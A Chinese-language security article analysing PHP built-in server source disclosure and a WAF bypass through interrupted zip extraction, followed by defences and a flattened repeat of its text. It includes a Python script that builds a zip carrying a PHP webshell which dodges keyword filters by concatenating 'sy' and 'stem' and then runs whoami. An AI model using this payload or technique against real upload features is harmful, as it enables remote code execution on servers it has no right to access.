利用解压缩报错中断绕过WAF分析
字数 969 2025-08-22 12:23:30

解压缩报错中断绕过WAF分析与利用

漏洞概述

本文档详细分析两种PHP相关的安全漏洞及其利用方法:

  1. PHP内置Web服务器源码泄露漏洞
  2. 解压缩报错中断绕过WAF技术

一、PHP内置Web服务器源码泄露漏洞

受影响版本

  • 成功版本:PHP <= 7.4.21(官方确认)
  • 实际测试成功版本:影响扩展到PHP 8.x某些版本

漏洞描述

PHP从5.4版本开始提供了一个内置的web服务器(php -S),主要用于本地开发环境。在特定条件下,攻击者可以将PHP文件作为静态文件直接读取其源码。

漏洞前提条件

  1. 目标服务器使用php -S命令启动的内置Web服务器
  2. 服务器返回404等错误页面可能表明使用了此临时服务

漏洞利用方法

  1. 直接请求PHP文件,服务器可能会返回源码而非执行结果
  2. 需要关闭Burp Suite等工具自动修改Content-Length的功能

PoC示例

GET /path/to/vulnerable.php HTTP/1.1
Host: target.com

二、解压缩报错中断绕过WAF技术

漏洞原理分析

  1. 目标系统存在文件解压缩功能
  2. 代码中防止了../目录穿越攻击
  3. 关键漏洞点:当解压缩失败时程序会退出,但已解压的文件不会被删除
  4. 通过构造解压缩失败,可以绕过后续的文件内容检查

绕过技术细节

  1. 文件内容WAF绕过

    • 对于命令执行,使用字符串拼接绕过关键字过滤
    • 示例:sy + stem()代替system()
  2. 解压缩过程利用

    • 构造特殊的压缩包,使其在解压过程中部分成功然后失败
    • 已解压的恶意文件保留在服务器上
    • 由于解压失败中断,文件内容检查被跳过

利用步骤

  1. 准备恶意文件,绕过内容检查
  2. 构造特殊的压缩包结构
  3. 上传并触发解压
  4. 访问已解压的恶意文件实现RCE

Python脚本示例

import zipfile

# 创建恶意zip文件
def create_malicious_zip():
    with zipfile.ZipFile('exploit.zip', 'w') as z:
        # 添加正常文件
        z.writestr('normal.txt', 'This is normal content')
        
        # 添加恶意文件(使用拼接绕过检查)
        z.writestr('malicious.php', '<?php $a="sy"; $b="stem"; ($a.$b)("whoami"); ?>')
        
        # 添加会导致解压失败的特殊文件
        z.writestr('invalid\x00file', 'corrupt content')

create_malicious_zip()

防御措施

针对PHP源码泄露

  1. 避免在生产环境使用php -S内置服务器
  2. 升级PHP到最新版本
  3. 使用标准Web服务器如Apache/Nginx

针对解压缩漏洞

  1. 解压前验证压缩包完整性
  2. 实现事务性解压:失败时回滚所有操作
  3. 对解压后的文件进行二次验证
  4. 设置严格的文件权限
  5. 使用安全的解压库并处理所有异常情况

总结

本文分析了两种不同的安全漏洞及其利用技术:

  1. PHP内置服务器源码泄露漏洞,影响多个PHP版本
  2. 解压缩过程的异常处理漏洞可绕过WAF保护

安全开发中必须考虑所有异常路径,并确保在任何失败情况下系统都能保持安全状态。

解压缩报错中断绕过WAF分析与利用 漏洞概述 本文档详细分析两种PHP相关的安全漏洞及其利用方法: PHP内置Web服务器源码泄露漏洞 解压缩报错中断绕过WAF技术 一、PHP内置Web服务器源码泄露漏洞 受影响版本 成功版本:PHP <= 7.4.21(官方确认) 实际测试成功版本:影响扩展到PHP 8.x某些版本 漏洞描述 PHP从5.4版本开始提供了一个内置的web服务器( php -S ),主要用于本地开发环境。在特定条件下,攻击者可以将PHP文件作为静态文件直接读取其源码。 漏洞前提条件 目标服务器使用 php -S 命令启动的内置Web服务器 服务器返回404等错误页面可能表明使用了此临时服务 漏洞利用方法 直接请求PHP文件,服务器可能会返回源码而非执行结果 需要关闭Burp Suite等工具自动修改Content-Length的功能 PoC示例 二、解压缩报错中断绕过WAF技术 漏洞原理分析 目标系统存在文件解压缩功能 代码中防止了 ../ 目录穿越攻击 关键漏洞点:当解压缩失败时程序会退出,但已解压的文件不会被删除 通过构造解压缩失败,可以绕过后续的文件内容检查 绕过技术细节 文件内容WAF绕过 : 对于命令执行,使用字符串拼接绕过关键字过滤 示例: sy + stem() 代替 system() 解压缩过程利用 : 构造特殊的压缩包,使其在解压过程中部分成功然后失败 已解压的恶意文件保留在服务器上 由于解压失败中断,文件内容检查被跳过 利用步骤 准备恶意文件,绕过内容检查 构造特殊的压缩包结构 上传并触发解压 访问已解压的恶意文件实现RCE Python脚本示例 防御措施 针对PHP源码泄露 避免在生产环境使用 php -S 内置服务器 升级PHP到最新版本 使用标准Web服务器如Apache/Nginx 针对解压缩漏洞 解压前验证压缩包完整性 实现事务性解压:失败时回滚所有操作 对解压后的文件进行二次验证 设置严格的文件权限 使用安全的解压库并处理所有异常情况 总结 本文分析了两种不同的安全漏洞及其利用技术: PHP内置服务器源码泄露漏洞,影响多个PHP版本 解压缩过程的异常处理漏洞可绕过WAF保护 安全开发中必须考虑所有异常路径,并确保在任何失败情况下系统都能保持安全状态。